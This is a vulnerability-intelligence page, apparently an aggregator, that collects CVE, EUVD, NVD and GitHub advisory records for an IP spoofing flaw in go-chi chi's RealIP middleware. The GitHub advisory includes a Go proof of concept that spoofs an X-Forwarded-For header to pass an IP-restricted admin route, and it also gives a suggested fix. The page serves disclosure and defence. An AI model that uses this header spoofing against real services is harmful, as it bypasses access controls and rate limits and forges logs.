go-chi chi v5.2.1 IP Spoofing via X-Forwarded-For Header
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-72815
Publishedgo-chi chi versions >= 5.2.1 and before 5.3.0 contain an IP spoofing vulnerability in the RealIP middleware, which blindly trusts the first (leftmost) value of the X-Forwarded-For HTTP header. A remote attacker can bypass IP-based access control lists and rate-limiting mechanisms, and forge log entries, by supplying a spoofed IP address in the X-Forwarded-For header. The issue is fixed in version 5.3.0.
- Source published
- 14 Aug 2026 11:35:27 UTC
- Source modified
- 8 Oct 2026 15:24:31 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 4.0 · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
euvd · EUVD-2026-58630
Publishedgo-chi chi versions >= 5.2.1 and before 5.3.0 contain an IP spoofing vulnerability in the RealIP middleware, which blindly trusts the first (leftmost) value of the X-Forwarded-For HTTP header. A remote attacker can bypass IP-based access control lists and rate-limiting mechanisms, and forge log entries, by supplying a spoofed IP address in the X-Forwarded-For header. The issue is fixed in version 5.3.0.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Aug 14, 2026, 11:35:27 AM
dateUpdated: Oct 8, 2026, 3:24:31 PM
12 related source bulletins · separate from aliases
openSUSE-SU-2026:21793-1: Security update for hauler
CVE-2026-37236 · CVE-2026-41178 · CVE-2026-41888 · CVE-2026-72815 · CVE-2026-72816 · CVE-2026-72817
openSUSE-SU-2026:21918-1: Security update for warewulf4
CVE-2026-34986 · CVE-2026-72815 · CVE-2026-72816 · CVE-2026-72817
RHSA-2026:50287: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
CVE-2026-69153 · CVE-2026-72815 · CVE-2026-73086 · CVE-2026-73646
openSUSE-SU-2026:21645-1: Security update for trivy
CVE-2026-72815 · CVE-2026-72816 · CVE-2026-72817
openSUSE-SU-2026:11810-1: warewulf4-4.7.1-1.1 on GA media
CVE-2026-72815 · CVE-2026-72817
openSUSE-SU-2026:11607-1: cloudflared-2026.8.2-1.1 on GA media
CVE-2026-72815
RHSA-2026:54420: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
CVE-2026-72815 · CVE-2026-72816 · CVE-2026-72817
openSUSE-SU-2026:21653-1: Security update for v2ray-core
CVE-2026-27017 · CVE-2026-39821 · CVE-2026-72815 · CVE-2026-72816 · CVE-2026-72817
RHSA-2026:49732: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
CVE-2026-72815 · CVE-2026-72816 · CVE-2026-72817
RHSA-2026:49718: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
CVE-2026-72815 · CVE-2026-72816 · CVE-2026-72817
openSUSE-SU-2026:12297-1: kubectl-retina-1.3.1-1.1 on GA media
CVE-2024-51744 · CVE-2025-22872 · CVE-2025-27144 · CVE-2025-30204 · CVE-2025-54410 · CVE-2025-58190 · CVE-2026-33186 · CVE-2026-34986 · CVE-2026-53941 · CVE-2026-72815 · CVE-2026-95838
openSUSE-SU-2026:21670-1: Security update for cloudflared
CVE-2026-72815 · CVE-2026-72816 · CVE-2026-72817
- Source published
- Aug 14, 2026, 11:35:27 AM (timezone not stated)
- Source modified
- Oct 8, 2026, 3:24:31 PM (timezone not stated)
- Observed here
- 9 Nov 2026 15:08:42 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 4.0 · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
nvd · CVE-2026-72815
Publishedgo-chi chi versions >= 5.2.1 and before 5.3.0 contain an IP spoofing vulnerability in the RealIP middleware, which blindly trusts the first (leftmost) value of the X-Forwarded-For HTTP header. A remote attacker can bypass IP-based access control lists and rate-limiting mechanisms, and forge log entries, by supplying a spoofed IP address in the X-Forwarded-For header. The issue is fixed in version 5.3.0.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-290
Original publisher date fields
published: 2026-08-14T12:16:44.507
lastModified: 2026-10-08T16:17:35.650
- Source published
- 14 Aug 2026 12:16:44 UTC
- Source modified
- 8 Oct 2026 16:17:35 UTC
- Observed here
- 25 Oct 2026 15:19:03 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 4.0 · [email protected] · Secondary · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
osv · GHSA-3fxj-6jh8-hvhx
Published## Summary The `RealIP` middleware in `go-chi/chi` is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the `X-Forwarded-For` HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header. ## Details In `middleware/realip.go`, the `realIP` function parses the `X-Forwarded-For` header and extracts the first comma-separated value: ```go func realIP(r *http.Request) string { // ... } else if xff := r.Header.Get(xForwardedFor); xff != "" { ip, _, _ = strings.Cut(xff, ",") } // ... } ``` Standard practice for `X-Forwarded-For` is that each proxy appends the client's IP to the end of the list. However, since the client can also provide this header, the leftmost values are untrusted. A client can send a header like `X-Forwarded-For: <spoofed_ip>, <actual_proxy_ip>`, and `go-chi/chi` will treat `<spoofed_ip>` as the source of the request. ## Proof of Concept (PoC) The following code demonstrates how an attacker can bypass an IP-based restriction. ```go package main import ( "fmt" "net/http" "net/http/httptest" "github.com/go-chi/chi/v5" "github.com/go-chi/chi/v5/middleware" ) func main() { r := chi.NewRouter() // Enable the vulnerable RealIP middleware r.Use(middleware.RealIP) // An endpoint that should be restricted to a specific administrator IP (1.2.3.4) r.Get("/admin/secret", func(w http.ResponseWriter, r *http.Request) { clientIP := r.RemoteAddr fmt.Printf("[Server] Request received from IP: %s\n", clientIP) // Simulate IP-based access control if clientIP == "1.2.3.4" { w.WriteHeader(http.StatusOK) w.Write([]byte("CONFIDENTIAL: The secret code is 42\n")) } else { w.WriteHeader(http.StatusForbidden) w.Write([]byte("Access Denied: You are not an administrator.\n")) } }) // --- Attack Simulation --- fmt.Println("--- PoC: IP Spoofing Attack on chi/middleware.RealIP ---") // 1. Normal Request (Should be denied) req1, _ := http.NewRequest("GET", "/admin/secret", nil) rr1 := httptest.NewRecorder() r.ServeHTTP(rr1, req1) fmt.Printf("[Client] Normal Request -> Status: %d, Body: %s", rr1.Code, rr1.Body.String()) // 2. Spoofed Request (Using X-Forwarded-For) // Attacker claims to be '1.2.3.4' req2, _ := http.NewRequest("GET", "/admin/secret", nil) req2.Header.Set("X-Forwarded-For", "1.2.3.4, 5.6.7.8") // 5.6.7.8 is a fake proxy IP rr2 := httptest.NewRecorder() r.ServeHTTP(rr2, req2) fmt.Printf("[Client] Spoofed Request -> Status: %d, Body: %s", rr2.Code, rr2.Body.String()) } ``` ## Impact An attacker can masquerade as any IP address. This can lead to: - **Bypass of Authentication/Authorization:** Accessing administrative panels or private APIs restricted by IP. - **Rate Limiting Evasion:** Circumbeting rate limiters that use `RemoteAddr` as a key. - **Log Forgery:** Causing incorrect IP addresses to be recorded in security logs. ## CWE - **CWE-290:** Authentication Bypass by Spoofing - **CWE-345:** Insufficient Verification of Data Authenticity ## CVSS Score - **CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N** (6.9 Moderate) ## Affected Versions - `github.com/go-chi/chi/v5` <= `v5.2.1` (and all previous versions) ## Recommendation 1. **Stop using `middleware.RealIP`** if you cannot guarantee that the incoming request headers are from a trusted source and have been sanitized by a proxy. 2. Implement a trust-based IP extraction mechanism that verifies the chain of proxies. 3. Use the `X-Forwarded-For` header by traversing it from **right to left** and stopping at the first IP address that is not in your list of trusted proxies. ## Suggested Fix A secure implementation of `RealIP` should allow developers to specify a list of trusted proxy IP ranges (CIDRs). Below is a conceptual example of how to fix this by traversing the `X-Forwarded-For` header from right to left: ```go func GetClientIP(r *http.Request, trustedProxies []net.IPNet) string { xff := r.Header.Get("X-Forwarded-For") if xff == "" { return r.RemoteAddr } ips := strings.Split(xff, ",") // Traverse from right to left for i := len(ips) - 1; i >= 0; i-- { ipStr := strings.TrimSpace(ips[i]) ip := net.ParseIP(ipStr) if ip == nil { continue } if !isTrustedProxy(ip, trustedProxies) { return ipStr } } return r.RemoteAddr } func isTrustedProxy(ip net.IP, trustedProxies []net.IPNet) bool { for _, network := range trustedProxies { if network.Contains(ip) { return true } } return false } ``` By providing a configuration like `middleware.RealIPWithConfig(Config{TrustedProxies: []string{"10.0.0.0/8"}})` , the middleware can safely identify the true client IP even in complex proxy environments.
- Source published
- 25 Jun 2026 18:21:37 UTC
- Source modified
- 4 Nov 2026 04:00:03 UTC
- Observed here
- 4 Nov 2026 04:59:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Publisher rating · MODERATE
osv · GO-2026-5774
PublishedChi has an IP spoofing vulnerability in middleware.RealIP in github.com/go-chi/chi
- Source published
- 24 Jul 2026 18:35:55 UTC
- Source modified
- 15 Aug 2026 05:18:57 UTC
- Observed here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.